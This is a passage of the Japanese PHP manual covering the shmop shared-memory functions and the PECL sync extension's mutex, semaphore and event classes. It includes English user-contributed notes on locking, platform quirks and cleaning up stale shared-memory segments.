$setting['files'] =  40000;

function IO_Test($mode)
{
    $starttime = time()+microtime();

    global $setting;

        for($i = 0 ; $i< $setting['files'] ;$i++)
        {
            $filename = $setting[$mode].'test'.$i.'.txt';
            $content = "Just a random content";

                // Just some error detection
               if (!$handle = fopen($filename, 'w+'))
               {
                     echo "Can't open the file ".$filename;
                     exit;
               }

               if (fwrite($handle, $content ) === FALSE)
               {
                   echo "Can't write to file : ".$filename;
                   exit;
               }

               fclose($handle);

            // Read Test
            file_get_contents($filename);

        }

   $endtime = time()+microtime();

   $totaltime = ($endtime - $starttime);

   return $totaltime;

}

echo '<b>IO test on '.$setting['files']. ' files</b><br>';
echo 'IO Result of <b>Regular</b> Directory : '.IO_Test('regular_dir')   .' seconds<br>';
echo 'IO Result of <b>Shared Memory</b> Directory : '.IO_Test('shm_dir')       .' seconds<br>';

/* Removal of files to avoid underestimation
#
#         Failure to remove files will result in inaccurate benchmark
#         as it will result in the IO_Test function not re-creating the existing files
*/
    foreach ( glob($setting['regular_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }
    foreach ( glob($setting['shm_dir']."*.txt") as $filename) {
       unlink($filename);$cnt ++;
    }

?>
hackie at prohost dot org 26-Sep-2005 09:33
It's not the job of the shmop extension to provide locking, there are many locking schemes avalible, if you need some sort of atomic operations choose a locking scheme that suits you and use it.
Craig Manley 06-Jan-2005 03:19
Since there is no mention of the (lack of) need for locking here, I took a look into the shmop.c extensions code. So correct me if I'm wrong, but the shmop.c extension uses memcpy() to copy strings to and from shared memory without any form of locking, and as far as I know, memcpy() is not atomic.

If that's true as I suspect, then these 'easy to use' functions are not so 'easy to use' any more and have to be wrapped in locks (e.g. semaphores, flocks, whatever).
stoimenov at email dot com 23-Jul-2002 05:18
Windows does support shared memory through memory mapped file. Check the following functions for details:

 * CreateFileMapping
 * MapViewOfFile
rei at prohost dot org 11-Jan-2001 03:16
The idea behind SHMOP is an easy to use shared memory interface,
without any additional headers added to the shared memory segment
or requiring any special special controls to access the shared memory
segment outside of PHP. SHMOP borrows its api from C's api to shm,
which makes it very easy to use, because it treats shared memory, like C, as
a file of sorts. This makes it very easy to use even for novices, due to this
functionality. Most importantly SHMOP uses shm segments to store raw data,
which means you don't need to worry about matching headers, etc... when you are
using C, perl or other programming languages to open/create/read/write shm segments
that were create or are going to be used by PHP. In this it differs from
sysvshm, who's shm interface uses a specialized header, which resides inside
the shared memory segment this adds an unnecessary level of difficulty when
you want to access php shm from external programs.
Also, from my personal tests in Linux 2.2/2.4 and FreeBSD 3.3 SHMOP is about
20% faster then sysvshm, mostly due to fact it does not need to parse the
specialized header and stores the data in raw form.
slavapl at mailandnews dot com 11-Jan-2001 03:02
What you need to realise is that sysvshm is extremly php oriented in it's ability, it's quite a kludge interfacing other NON PHP utilities with it. For example have you tried using sysvshm to read an shm segment NOT created by php? It's not possible, because sysvshm uses a proprietry format, in essense it can ONLY be used within PHP unless of course you take time to figure out this format.
So basically, the purpose of shmop is to provide a symple interface to shared memory that can be used with OTHER NON php shm creators.

Hope this clears it up.


共有メモリブロックを閉じる

  • ≪ 共有メモリ関数
  • shmop_delete ≫
  • PHP Manual
  • 共有メモリ関数
  • 共有メモリブロックを閉じる

shmop_close

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_close — 共有メモリブロックを閉じる

説明

shmop_close ( Shmop $shmop ) : void

shmop_close() は、共有メモリブロックを閉じます。

パラメータ

shmop

shmop_open() 関数で作られた共有メモリブロックのリソース。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | 引数 shmop は、 Shmop クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

例

例1 共有メモリブロックを閉じる

<?php
shmop_close($shm_id);
?>

この例は、$shm_id で識別される共有メモリブロックを閉じます。

参考

  • shmop_open() - 共有メモリブロックを作成またはオープンする

User Contributed Notes

slavapl at mailandnews dot com 02-May-2001 12:31
shmop_close doesn't delete the memory segment, it just detaches from it.

If you have created the block and need to delete it you must call shmop_delete **BEFORE** calling shmop_close (for reasons outlined in shmop_delete help page notes).


共有メモリブロックを削除する

  • ≪ shmop_close
  • shmop_open ≫
  • PHP Manual
  • 共有メモリ関数
  • 共有メモリブロックを削除する

shmop_delete

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_delete — 共有メモリブロックを削除する

説明

shmop_delete ( Shmop $shmop ) : bool

shmop_delete() は、共有メモリブロックを削除ます。

パラメータ

shmop

shmop_open() で作られた共有メモリブロックのリソース

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shmop は、 Shmop クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

例

例1 共有メモリブロックを削除する

<?php
shmop_delete($shm_id);
?>

この例は、$shm_id で識別された共有メモリブロックを削除します。

User Contributed Notes

lizzy 12-Oct-2004 07:19
A helpful hint, although when using shmop on windows (yes you can use shmop on windows in IIS or Apache when used as isapi/module) you can delete a segment and later open a new segment with the SAME KEY in the same script no problem, YOU CANNOT IN LINUX/UNIX - the segment will still exist - it's not immediately deleted - but will be marked for deletion and you'll get errors when trying to create the new one - just a reminder.


共有メモリブロックを作成またはオープンする

  • ≪ shmop_delete
  • shmop_read ≫
  • PHP Manual
  • 共有メモリ関数
  • 共有メモリブロックを作成またはオープンする

shmop_open

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_open — 共有メモリブロックを作成またはオープンする

説明

shmop_open ( int $key , string $mode , int $permissions , int $size ) : Shmop|false

shmop_open() は共有メモリブロックを作成または オープンします。

パラメータ

key

共有メモリブロックのシステム ID であり、10 進数または 16 進数で指定することが可能です。

mode

フラグに設定できる内容は、次のとおりです。

  • "a" アクセス用(shmat に SHM_RDONLY を設定する) 既存の共有メモリセグメントを読み込み専用でオープンする必要がある場合に このフラグを使用してください。
  • "c" 作成用(IPC_CREATE を設定する) 新規に共有メモリセグメントが必要な場合にこのフラグを使用してください。 もし同じキーのセグメントがすでに存在する場合、それを読み書きモードで オープンしようと試みます。
  • "w" 読み込み & 書き込みアクセス用 共有メモリセグメントの読み込みや書き込みの必要がある場合にこのフラグを 使用してください。たいていの場合はこのフラグを使用します。
  • "n" 新規メモリセグメントの作成用(IPC_CREATE|IPC_EXCL を設定する) 新規に共有メモリセグメントが必要で、もし同じフラグのセグメントが 存在するときには失敗させたい場合にこのフラグを使用してください。 セキュリティを確保するために、このフラグは有用です。これを使用する ことで、条件の競合による問題を避けることが可能です。

permissions

共有メモリセグメントに設定したい 許可属性で、ファイルに関する許可属性と同様なものです。許可属性は、 例えば 0644 のような 8 進数形式で渡す必要があります。

size

作成したい共有メモリブロックの大きさをバイト数で指定します。

注意:

注意: 既存のメモリセグメントをオープンする場合には、3 番目および 4 番目の引数には 0 を指定する必要があります。成功時に

返り値

成功した場合は、shmop_open() は 作成した共有メモリセグメントにアクセスするために使用する Shmop クラスのインスタンスを返します。 失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は Shmop クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースが返されていました。

例

例1 共有メモリブロックを新規に作成する

<?php
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
?>

この例は、ftok() が返すシステム ID の共有メモリブロックをオープンします。

参考

  • shmop_close() - 共有メモリブロックを閉じる
  • shmop_delete() - 共有メモリブロックを削除する

User Contributed Notes

kakkau at grr dot la 14-Dec-2017 06:39
One is not able to reconnect to a segment with key 0. For any other key (e.g. 1) the flags just work fine.

php > $soid = shmop_open(0,"n",0600,10);
php > $soid = shmop_open(0,"w",0600,10);
PHP Warning:  shmop_open(): unable to attach or create shared memory segment 'Invalid argument' in php shell code on line 1
PHP Stack trace:
PHP   1. {main}() php shell code:0
PHP   2. shmop_open(0, 'w', 384, 10) php shell code:1
kakkau at grr dot la 04-Apr-2016 08:54
On *nix systems shmop_open is able to create an "infinite" amount of segments when setting $key = 0.

After executing the following command twice in an interactive shell
php > $res = shmop_open(0,"n",0600,1024);

list the memory segments currently present
$ ipcs -m

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x00000000 2293762    user       600        1024       0
0x00000000 2326531    user       600        1024       0

For any integer <> 0 in conjunction with the flag "n" shmop_open works like documented. It fails.
Colin Paterson 17-Sep-2015 08:14
If you are running your main script as say user "root" but need to open a Shared Memory Segment as another user (from your main script) such as say "www-data" then this works:

exec("sudo -u www-data php -r 'shmop_open(0xee4, "c", 0770, 100);'"); //Create Shared Memory segment as USER www-data

$SharedMemorySegment = shmop_open(0xee4, "c", 0770, 100);
        if (!$SharedMemorySegment) {
            echo "Couldn't create shared memory segment\n";
        }
Filippo Fadda 27-Feb-2015 05:37
I'm having the same issue affecting XP and described below, on Mac OS X Lion.

To solve it, use before 'a' flag, then 'n'. Avoid 'c' flag.

<?php
$str = 'Hello World';

shm_key = ftok($_SERVER['PHP_SELF']);

if (@$shm_id = shmop_open($shm_key, 'a', 0644, 0))
  shmop_delete($shm_id);

$shm_id = shmop_open($shm_key, 'n', 0644, strlen($str));

if ($shmId) {
  shmop_write($shmId, $str, 0);
  shmop_close($shmId);
}
else
  throw new RuntimeException("Couldn't create shared memory segment.");
?>
thanks at forthefish dot com 28-Oct-2013 06:24
These shared memory functions are kind of silly on Windows where sem_get() and friends nor any sort of synchronization object is available (as of PHP 5.5.5) to perform proper locking prior to access.  A core PHP dev needs to write some wrappers for sem_get() for Windows as they did for shmop to really round out this feature.

The implementation of shmop for Windows is pretty slick - the author basically ported variations of POSIX functions to Windows equivalent prototypes.
erelsgl at gmail dot com 27-Nov-2007 03:04
=== Checking if a shared memory exists ===
The solution provided by Mitchell_Shnier at ieee dot orgZ doesn't work on my computer - I get a warning "Invalid flag ac".

In order to check if a shared-memory exists, you just have to open it with the "a" or "w" flag, while hiding the warnings using the "@" operator:
<?php
@$shid = shmop_open($systemId, "a", 0666, 0);
if (!empty($shid)) {
            ... shared memory exists
} else {
            ... shared memory doesn't exist
}
?>
Craig Manley 05-Jan-2005 05:19
To: macmaster at pobox dot com:

To clear up some new confusion: you said the shm key is 8 bytes long. As far as I know it's 4 bytes (32bits).
Check out the output of ipcs on Linux below to see what I mean.

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status
0x6e6a694d 65538      mijnbel   644        65536      0
0x326e794d 98307      mijnbel   644        65536      0
0x62417347 131076     smsklap   644        65536      0
daniele_dll at yahoo dot it 01-Feb-2004 01:28
There is a little ftok function. This function isn't included into php for windows so i've grabbed it directly from linux glibc 2.3.2 source code. I hope that this can be useful.
There is the code:

<?php
function ftok($pathname, $proj_id) {
    $st = @stat($pathname);
    if (!$st) {
        return -1;
    }

    $key = sprintf("%u", (($st['ino'] & 0xffff) | (($st['dev'] & 0xff) << 16) | (($proj_id & 0xff) << 24)));
    return $key;
}

echo ftok($_SERVER["SCRIPT_FILENAME"], 250);
?>

sorry for my english :)
Chris Petersen 28-Aug-2003 11:18
Be warned that if you try to shmop_open with a key set to zero, shmop_open will seemingly work, and you can write to it, but you will not be able to read from it or delete it.  If you're not careful, you can continue doing this - creating more and more shared memory blocks at "zero" until eventually you WILL start getting errors saying that php can't access or create the shared memory block, and you will have to restart your machine to free up all of those "zero" blocks.


共有メモリブロックからデータを読み取る

  • ≪ shmop_open
  • shmop_size ≫
  • PHP Manual
  • 共有メモリ関数
  • 共有メモリブロックからデータを読み取る

shmop_read

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_read — 共有メモリブロックからデータを読み取る

説明

shmop_read ( Shmop $shmop , int $offset , int $size ) : string

shmop_read() は、共有メモリブロックから文字列を読み取ります。

パラメータ

shmop

shmop_open() 関数で作られた、共有メモリブロックの識別子。

offset

読み取りを始めるオフセット

size

読み取るバイト数。 0 を指定すると、shmop_size($shmid) - $start バイトを読み取ります。

返り値

読み取ったデータを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 引数 shmop は、 Shmop クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースを期待していました。

例

例1 共有メモリブロックを読み取る

<?php
$shm_data = shmop_read($shm_id, 0, 50);
?>

この例は、共有メモリブロックから50バイトを読み取り、 データを $shm_data に格納します。

参考

  • shmop_write() - 共有メモリブロックにデータを書き込む

User Contributed Notes

Milan Cvejic 18-Feb-2009 01:35
You should always serialize data written in shared memory.
And when you are reading data you should always unserialize.

<?php

$data = 'test';
$shm_bytes_written = shmop_write($shm_id, serialize($data), 0);
$shm_data = unserialize(shmop_read($shm_id, 0, $shm_bytes_written));
?>
Craig Manley 07-Jan-2005 02:19
shmop_read() reads and returns the whole memory segment's data. This is not useful if you're just working with strings. If you need to read a string from shared memory, call str_from_mem() on the result of shmop_read(). Similarly when writing strings to memory (instead of binary data), null terminate your strings with str_to_nts() before passing the value on to shmop_write().

function str_to_nts($value) {
  return "$value\0";
}

function str_from_mem(&$value) {
  $i = strpos($value, "\0");
  if ($i === false) {
    return $value;
  }
  $result =  substr($value, 0, $i);
  return $result;
}
slavapl at mailandnews dot com 02-May-2001 12:15
Also you can use the shmop_size() function to determine the block size.
macmaster at pobox dot com 30-Mar-2001 12:01
When i need to read the whole string at that shm pointer, setting the count parameter to zero (0) seems work for me.


共有メモリブロックの大きさを取得する

  • ≪ shmop_read
  • shmop_write ≫
  • PHP Manual
  • 共有メモリ関数
  • 共有メモリブロックの大きさを取得する

shmop_size

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_size — 共有メモリブロックの大きさを取得する

説明

shmop_size ( Shmop $shmop ) : int

shmop_size() は、共有メモリブロックのサイズをバイト単位で取得します。

パラメータ

shmop

shmop_open() 関数で作られた、共有メモリブロックの識別子。

返り値

共有メモリブロックが専有している大きさをバイト単位で返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shmop は、 Shmop クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

例

例1 共有メモリブロックのサイズを取得する

<?php
$shm_size = shmop_size($shm_id);
?>

この例は、$shm_id で識別される共有メモリブロックのサイズを $shm_size に代入しています。

User Contributed Notes

There are no user contributed notes for this page.


共有メモリブロックにデータを書き込む

  • ≪ shmop_size
  • Shmop ≫
  • PHP Manual
  • 共有メモリ関数
  • 共有メモリブロックにデータを書き込む

shmop_write

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

shmop_write — 共有メモリブロックにデータを書き込む

説明

shmop_write ( Shmop $shmop , string $data , int $offset ) : int

shmop_write() は、共有メモリブロックに文字列を書き込みます。

パラメータ

shmop

shmop_open() で作られた共有メモリブロックの識別子。

data

共有メモリブロックに書き込む文字列

offset

共有メモリセグメント内部のどこから、データを書き始めるかを指定します。

返り値

書き込んだ data のサイズを返します。

変更履歴

バージョン | 説明
8.0.0 | PHP 8.0.0 より前のバージョンでは、 失敗した時に false を返していました。
8.0.0 | 引数 shmop は、 Shmop クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

例

例1 共有メモリブロックに書き込む

<?php
$shm_bytes_written = shmop_write($shm_id, $my_string, 0);
?>

この例は、$my_string にあるデータを共有メモリブロックに書き込みます。 $shm_bytes_written には、書かれたデータのバイト数が入ります。

参考

  • shmop_read() - 共有メモリブロックからデータを読み取る

User Contributed Notes

radupb at yahoo dot com 30-Nov-2020 09:13
I guess pack-unpack are the handy functions for encoding/decoding data as/from a binary string for shmop_write/shmop_read. Example:

$format='LLLLSSCCCC';  //data format for pack
$key=1;
if( !($shmid=shmop_open($key,'n',0660,30)) )
  die('shmop_open failed.');

//my data to encode:
$hd=array('ALIVE1'=>1,'ALIVE2'=>2,'ALIVE3'=>3,'ALIVE4'=>4,
      'CRTPTR'=>5,'CRTSEQ'=>6,
      'CTW'=>7,'LOCK'=>8,'PLAY'=>9,'MISS'=>10
);

$tmp=pack( $format, $hd['ALIVE1'],$hd['ALIVE2'],$hd['ALIVE3'],$hd['ALIVE4'],  $hd['CRTPTR'],$hd['CRTSEQ'],$hd['CTW'],$hd['LOCK'],$hd['PLAY'],$hd['MISS'] );

if( ($w=shmop_write($shmid,$tmp,0))!=24 )
  die('write error $w='.$w);

And reading from some other process:
$key=1;
if( !($shmid=shmop_open($key,'w',0,0)) )
  die('shmop_open failed.');

$formatR='L4ALIVE/SCRTPTR/SCRTSEQ/CCTW/CLOCK/CPLAY/CMISS'; //data format for unpack

$hd=unpack( $formatR, shmop_read( $shmid,0,24) );
echo'hd:<pre>';print_r($hd);echo'</pre>';


Shmop クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 shmop リソースを置き換える完全不透明クラスです。

クラス概要

final Shmop {
}

User Contributed Notes

There are no user contributed notes for this page.


Sync

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • SyncMutex — The SyncMutex class
    • SyncMutex::__construct — Constructs a new SyncMutex object
    • SyncMutex::lock — Waits for an exclusive lock
    • SyncMutex::unlock — Unlocks the mutex
  • SyncSemaphore — The SyncSemaphore class
    • SyncSemaphore::__construct — Constructs a new SyncSemaphore object
    • SyncSemaphore::lock — Decreases the count of the semaphore or waits
    • SyncSemaphore::unlock — Increases the count of the semaphore
  • SyncEvent — The SyncEvent class
    • SyncEvent::__construct — Constructs a new SyncEvent object
    • SyncEvent::fire — Fires/sets the event
    • SyncEvent::reset — Resets a manual event
    • SyncEvent::wait — Waits for the event to be fired/set
  • SyncReaderWriter — The SyncReaderWriter class
    • SyncReaderWriter::__construct — Constructs a new SyncReaderWriter object
    • SyncReaderWriter::readlock — Waits for a read lock
    • SyncReaderWriter::readunlock — Releases a read lock
    • SyncReaderWriter::writelock — Waits for an exclusive write lock
    • SyncReaderWriter::writeunlock — Releases a write lock
  • SyncSharedMemory — The SyncSharedMemory class
    • SyncSharedMemory::__construct — Constructs a new SyncSharedMemory object
    • SyncSharedMemory::first — Check to see if the object is the first instance system-wide of named shared memory
    • SyncSharedMemory::read — Copy data from named shared memory
    • SyncSharedMemory::size — Returns the size of the named shared memory
    • SyncSharedMemory::write — Copy data to named shared memory

User Contributed Notes

There are no user contributed notes for this page.


はじめに

The 'sync' extension introduces cross-platform synchonization objects into PHP. Named and unnamed Mutex, Semaphore, Event, Reader-Writer, and named Shared Memory objects provide OS-level synchronization on both POSIX (e.g. Linux) and Windows platforms.

Automatic cleanup of acquired synchronization objects takes place during extension teardown. This means that if PHP prematurely terminates a script (e.g. script execution time is exceeded), objects will not be left in an unknown state. The only exception to this is if PHP itself crashes (e.g. an internal buffer overflow).

Unnamed synchronization objects don't have a lot of use outside of a multithreaded scenario. Unnamed objects are more useful in conjunction with the pthreads PECL extension.

注意:

Named objects require additional care to be used on all systems. If an object is instantiated with a specific set of parameters, it must always be instantiated with those parameters or the object will probably end up in an inconsistent state until the next reboot or a system administrator cleans up the mess.

User Contributed Notes

There are no user contributed notes for this page.


要件

A system with support for POSIX shared memory (shm_open()) or running Windows.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/sync.

User Contributed Notes

There are no user contributed notes for this page.


The SyncMutex class

(PECL sync >= 1.0.0)

はじめに

A cross-platform, native implementation of named and unnamed countable mutex objects.

A mutex is a mutual exclusion object that restricts access to a shared resource (e.g. a file) to a single instance. Countable mutexes acquire the mutex a single time and internally track the number of times the mutex is locked. The mutex is unlocked as soon as it goes out of scope or is unlocked the same number of times that it was locked.

クラス概要

SyncMutex {
/* メソッド */
public __construct ( string $name = ? )
public lock ( int $wait = -1 ) : bool
public unlock ( bool $all = false ) : bool
}

目次

  • SyncMutex::__construct — Constructs a new SyncMutex object
  • SyncMutex::lock — Waits for an exclusive lock
  • SyncMutex::unlock — Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncMutex object

  • ≪ SyncMutex
  • SyncMutex::lock ≫
  • PHP Manual
  • SyncMutex
  • Constructs a new SyncMutex object

SyncMutex::__construct

(PECL sync >= 1.0.0)

SyncMutex::__construct — Constructs a new SyncMutex object

説明

public SyncMutex::__construct ( string $name = ? )

Constructs a named or unnamed countable mutex.

パラメータ

name

The name of the mutex if this is a named mutex object.

注意:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

返り値

The new SyncMutex object. An exception is thrown if the mutex cannot be created or opened.

例

例1 SyncMutex::__construct() named mutex with lock timeout example

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
    echo "Unable to lock mutex.";

    exit();
}

/* ... */

$mutex->unlock();
?>

例2 SyncMutex::__construct() unnamed mutex example

<?php
$mutex = new SyncMutex();

$mutex->lock();

/* ... */

$mutex->unlock();
?>

参考

  • SyncMutex::lock() - Waits for an exclusive lock
  • SyncMutex::unlock() - Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Waits for an exclusive lock

  • ≪ SyncMutex::__construct
  • SyncMutex::unlock ≫
  • PHP Manual
  • SyncMutex
  • Waits for an exclusive lock

SyncMutex::lock

(PECL sync >= 1.0.0)

SyncMutex::lock — Waits for an exclusive lock

説明

public SyncMutex::lock ( int $wait = -1 ) : bool

Obtains an exclusive lock on a SyncMutex object. If the lock is already acquired, then this increments an internal counter.

パラメータ

wait

The number of milliseconds to wait for the exclusive lock. A value of -1 is infinite.

返り値

A boolean of TRUE if the lock was obtained, FALSE otherwise.

例

例1 SyncMutex::lock() example

<?php
$mutex = new SyncMutex("UniqueName");

if (!$mutex->lock(3000))
{
    echo "Unable to lock mutex.";

    exit();
}

/* ... */

$mutex->unlock();
?>

参考

  • SyncMutex::unlock() - Unlocks the mutex

User Contributed Notes

There are no user contributed notes for this page.


Unlocks the mutex

  • ≪ SyncMutex::lock
  • SyncSemaphore ≫
  • PHP Manual
  • SyncMutex
  • Unlocks the mutex

SyncMutex::unlock

(PECL sync >= 1.0.0)

SyncMutex::unlock — Unlocks the mutex

説明

public SyncMutex::unlock ( bool $all = false ) : bool

Decreases the internal counter of a SyncMutex object. When the internal counter reaches zero, the actual lock on the object is released.

パラメータ

all

Specifies whether or not to set the internal counter to zero and therefore release the lock.

返り値

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

例

例1 SyncMutex::unlock() example

<?php
$mutex = new SyncMutex("UniqueName");

$mutex->lock();

/* ... */

$mutex->unlock();
?>

参考

  • SyncMutex::lock() - Waits for an exclusive lock

User Contributed Notes

npelov at croler dot net 10-May-2020 09:18
If the php process dies unexpectedly (on linux) the lock will remain with no option to remove it. unlock() will not work if the lock is being held by other process. SyncMutex uses shared mem. in that case you can delete the shared memory object in /dev/shm. To list the objects:

ls /dev/shm/Sync_Mutex*

Keep in mind that objects remain there even after unlocking. So if you use lots of random mutex names then the number of these objects will grow and and you might want to cleanup at some point

Example sync.php:
<?php

$s = new SyncMutex("mymutex");

if(!$s->lock()){
  echo "cannot lock\n";
  exit;
}
echo "locked\n";
sleep(10);
$s->unlock();
echo "unlocked\n";
?>

then run:

php -f sync.php

and press ctrl-c. If you run it again it won't lock. So what you can do is:

rm -f /dev/shm/Sync_Mutex-*-mymutex

Then run it again - it'll lock again


The SyncSemaphore class

(PECL sync >= 1.0.0)

はじめに

A cross-platform, native implementation of named and unnamed semaphore objects.

A semaphore restricts access to a limited resource to a limited number of instances. Semaphores differ from mutexes in that they can allow more than one instance to access a resource at one time while a mutex only allows one instance at a time.

クラス概要

SyncSemaphore {
/* メソッド */
public __construct ( string $name = ? , int $initialval = 1 , bool $autounlock = true )
public lock ( int $wait = -1 ) : bool
public unlock ( int &$prevcount = ? ) : bool
}

目次

  • SyncSemaphore::__construct — Constructs a new SyncSemaphore object
  • SyncSemaphore::lock — Decreases the count of the semaphore or waits
  • SyncSemaphore::unlock — Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncSemaphore object

  • ≪ SyncSemaphore
  • SyncSemaphore::lock ≫
  • PHP Manual
  • SyncSemaphore
  • Constructs a new SyncSemaphore object

SyncSemaphore::__construct

(PECL sync >= 1.0.0)

SyncSemaphore::__construct — Constructs a new SyncSemaphore object

説明

public SyncSemaphore::__construct ( string $name = ? , int $initialval = 1 , bool $autounlock = true )

Constructs a named or unnamed semaphore.

パラメータ

name

The name of the semaphore if this is a named semaphore object.

注意:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

initialval

The initial value of the semaphore. This is the number of locks that may be obtained.

autounlock

Specifies whether or not to automatically unlock the semaphore at the conclusion of the PHP script.

警告

If an object is: A named semaphore with an autounlock of FALSE, the object is locked, and the PHP script concludes before the object is unlocked, then the underlying semaphore will end up in an inconsistent state.

返り値

The new SyncSemaphore object. An exception is thrown if the semaphore cannot be created or opened.

例

例1 SyncSemaphore::__construct() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
    echo "Unable to lock semaphore.";

    exit();
}

/* ... */

$semaphore->unlock();
?>

参考

  • SyncSemaphore::lock() - Decreases the count of the semaphore or waits
  • SyncSemaphore::unlock() - Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Decreases the count of the semaphore or waits

  • ≪ SyncSemaphore::__construct
  • SyncSemaphore::unlock ≫
  • PHP Manual
  • SyncSemaphore
  • Decreases the count of the semaphore or waits

SyncSemaphore::lock

(PECL sync >= 1.0.0)

SyncSemaphore::lock — Decreases the count of the semaphore or waits

説明

public SyncSemaphore::lock ( int $wait = -1 ) : bool

Decreases the count of a SyncSemaphore object or waits until the semaphore becomes non-zero.

パラメータ

wait

The number of milliseconds to wait for the semaphore. A value of -1 is infinite.

返り値

A boolean of TRUE if the lock operation was successful, FALSE otherwise.

例

例1 SyncSemaphore::lock() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
    echo "Unable to lock semaphore.";

    exit();
}

/* ... */

$semaphore->unlock();
?>

参考

  • SyncSemaphore::unlock() - Increases the count of the semaphore

User Contributed Notes

There are no user contributed notes for this page.


Increases the count of the semaphore

  • ≪ SyncSemaphore::lock
  • SyncEvent ≫
  • PHP Manual
  • SyncSemaphore
  • Increases the count of the semaphore

SyncSemaphore::unlock

(PECL sync >= 1.0.0)

SyncSemaphore::unlock — Increases the count of the semaphore

説明

public SyncSemaphore::unlock ( int &$prevcount = ? ) : bool

Increases the count of a SyncSemaphore object.

パラメータ

prevcount

Returns the previous count of the semaphore.

返り値

A boolean of TRUE if the unlock operation was successful, FALSE otherwise.

例

例1 SyncSemaphore::unlock() example

<?php
$semaphore = new SyncSemaphore("LimitedResource_2clients", 2);

if (!$semaphore->lock(3000))
{
    echo "Unable to lock semaphore.";

    exit();
}

/* ... */

$semaphore->unlock();
?>

参考

  • SyncSemaphore::lock() - Decreases the count of the semaphore or waits

User Contributed Notes

There are no user contributed notes for this page.


The SyncEvent class

(PECL sync >= 1.0.0)

はじめに

A cross-platform, native implementation of named and unnamed event objects. Both automatic and manual event objects are supported.

An event object waits, without polling, for the object to be fired/set. One instance waits on the event object while another instance fires/sets the event. Event objects are useful wherever a long-running process would otherwise poll a resource (e.g. checking to see if uploaded data needs to be processed).

クラス概要

SyncEvent {
/* メソッド */
public __construct ( string $name = ? , bool $manual = false , bool $prefire = false )
public fire ( ) : bool
public reset ( ) : bool
public wait ( int $wait = -1 ) : bool
}

目次

  • SyncEvent::__construct — Constructs a new SyncEvent object
  • SyncEvent::fire — Fires/sets the event
  • SyncEvent::reset — Resets a manual event
  • SyncEvent::wait — Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new SyncEvent object

  • ≪ SyncEvent
  • SyncEvent::fire ≫
  • PHP Manual
  • SyncEvent
  • Constructs a new SyncEvent object

SyncEvent::__construct

(PECL sync >= 1.0.0)

SyncEvent::__construct — Constructs a new SyncEvent object

説明

public SyncEvent::__construct ( string $name = ? , bool $manual = false , bool $prefire = false )

Constructs a named or unnamed event object.

パラメータ

name

The name of the event if this is a named event object.

注意:

If the name already exists, it must be able to be opened by the current user that the process is running as or an exception will be thrown with a meaningless error message.

manual

Specifies whether or not the event object must be reset manually.

注意:

Manual reset event objects allow all waiting processes through until the object is reset.

prefire

Specifies whether or not to prefire (signal) the event object.

注意:

Only has impact if the calling process/thread is the first to create the object.

返り値

The new SyncEvent object. An exception is thrown if the event object cannot be created or opened.

例

例1 SyncEvent::__construct() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
?>

変更履歴

バージョン | 説明
PECL sync 1.1.0 | Added prefire.

参考

  • SyncEvent::fire() - Fires/sets the event
  • SyncEvent::reset() - Resets a manual event
  • SyncEvent::wait() - Waits for the event to be fired/set

User Contributed Notes

There are no user contributed notes for this page.


Fires/sets the event

  • ≪ SyncEvent::__construct
  • SyncEvent::reset ≫
  • PHP Manual
  • SyncEvent
  • Fires/sets the event

SyncEvent::fire

(PECL sync >= 1.0.0)

SyncEvent::fire — Fires/sets the event

説明

public SyncEvent::fire ( ) : bool

Fires/sets a SyncEvent object. Lets multiple threads through that are waiting if the event object was created with a manual value of TRUE.

パラメータ

この関数にはパラメータはありません。

返り値

A boolean of TRUE if the event was fired, FALSE otherwise.

例

例1 SyncEvent::fire() example

<?php
// In a web application:
$event = new SyncEvent("GetAppReport");
$event->fire();

// In a cron job:
$event = new SyncEvent("GetAppReport");
$event->wait();
